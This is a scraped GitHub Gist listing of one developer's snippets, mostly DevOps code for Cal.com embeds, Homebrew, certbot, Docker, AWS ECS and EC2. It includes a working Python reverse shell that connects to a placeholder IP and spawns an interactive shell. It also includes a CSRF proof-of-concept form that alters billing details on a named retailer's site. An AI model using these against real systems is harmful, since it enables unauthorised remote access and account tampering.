Skip to content

Instantly share code, notes, and snippets.

View omerxx's full-sized avatar
🎱
All is as thinking makes it so

Omer Hamerman omerxx

🎱
All is as thinking makes it so
View GitHub Profile
@omerxx
omerxx / schedule.js
Created January 17, 2024 17:29
call
(function (C, A, L) { let p = function (a, ar) { a.q.push(ar); }; let d = C.document; C.Cal = C.Cal || function () { let cal = C.Cal; let ar = arguments; if (!cal.loaded) { cal.ns = {}; cal.q = cal.q || []; d.head.appendChild(d.createElement("script")).src = A; cal.loaded = true; } if (ar[0] === L) { const api = function () { p(api, arguments); }; const namespace = ar[1]; api.q = api.q || []; typeof namespace === "string" ? (cal.ns[namespace] = api) && p(api, ar) : p(cal, ar); return; } p(cal, ar); }; })(window, "https://app.cal.com/embed/embed.js", "init");
Cal("init", "one-hour-consultation", {origin:"https://cal.com"});
Cal.ns["one-hour-consultation"]("inline", {
elementOrSelector:"#my-cal-inline",
calLink: "omerxx/one-hour-consultation",
layout: "month_view"
});
Cal.ns["one-hour-consultation"]("ui", {"styles":{"branding":{"brandColor":"#000000"}},"hideEventTypeDetails":false,"layout":"month_view"});
class Mytool < Formula
desc "Some description"
homepage "https://github.com/myrepo/mytool"
url ".../mytool-darwin-amd64.tar.gz", :using => GitHubPrivateRepositoryReleaseDownloadStrategy
sha256 "<SHA256 CHECKSUM>"
head "https://github.com/myrepo/mytool.git"
def install
bin.install "mytool"
end
@omerxx
omerxx / revsh.py
Created April 4, 2018 13:21
Reverse shell in python
#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
@omerxx
omerxx / certbot.sh
Last active February 26, 2021 14:12
# Generating let's encrypt manual cert with ease
# Usage: ./cert.sh me@company.com my.domain.com
# Output: ~/certbot/.certbot/config
#
generate_certificate() {
email=$1
domain=$2
sudo docker run -it --rm -v ~/certbot:/home/root \
certbot/certbot certonly --config-dir /home/root/.certbot/config \
--logs-dir /home/root/.certbot/logs \
# uses Docker Multi-Stage Build
# https://docs.docker.com/v17.09/engine/userguide/eng-image/multistage-build/
# -- builder container
FROM node:9-alpine as builder
# download Yelp/dumb-init
RUN apk add --no-cache curl
RUN curl -sL https://github.com/Yelp/dumb-init/releases/download/v1.2.1/dumb-init_1.2.1_amd64 -o /sbin/dumb-init \
&& chmod +x /sbin/dumb-init
WORKDIR /opt/app
<form method='POST' action='https://colonnacoffee.com/tools/recurring/customers/<RECURRING CUSOMTER HASH>/edit' target="csrf-frame" id="csrf-form">
<input type='hidden' name='billing_first_name' value='John'>
<input type='hidden' name='billing_last_name' value='Dow'>
<input type='hidden' name='billing_address_1' value='33 Flower Hill'>
<input type='hidden' name='billing_address_2' value='Flat 3'>
<input type='hidden' name='billing_company' value=''>
<input type='hidden' name='billing_country' value='United Kingdom'>
<input type='hidden' name='billing_province_state'>
<input type='hidden' name='billing_city' value='London'>
<input type='hidden' name='billing_postalcode' value=''>
Resources:
Service:
Type: AWS::ECS::Service
DependsOn: ListenerRule
Properties:
Cluster: !Ref Cluster
ServiceName: !Ref ServiceName
LaunchType: !Ref LaunchType
DesiredCount: !Ref DesiredCount
DeploymentConfiguration:
TaskDefinition:
Type: AWS::ECS::TaskDefinition
Properties:
Cpu: !Ref VCpu
RequiresCompatibilities:
- !Ref RequiresCompatibilities
Family: !Ref ServiceName
NetworkMode: !Ref NetworkMode
ExecutionRoleArn: arn:aws:iam::000:role/EcsTaskExecutionRole
TaskRoleArn: arn:aws:iam::000:role/EcsTaskExecutionRole
@omerxx
omerxx / tags.py
Created July 10, 2019 09:33
Getting EC2 instance tags from within the instance
import boto3
import requests
def _get_metadata_region():
r = requests.get(
'http://169.254.169.254/latest/dynamic/instance-identity/document')
return r.json()['region']
import os
import boto3
import datetime
import dateutil
DEFAULT_MAX_MEM = 3000
LOW_CLUSTER_CPU_TH = 20
HIGH_CLUSTER_CPU_TH = 65
CONTAINERS_MAX_MEM = {
'cluster1': 1200,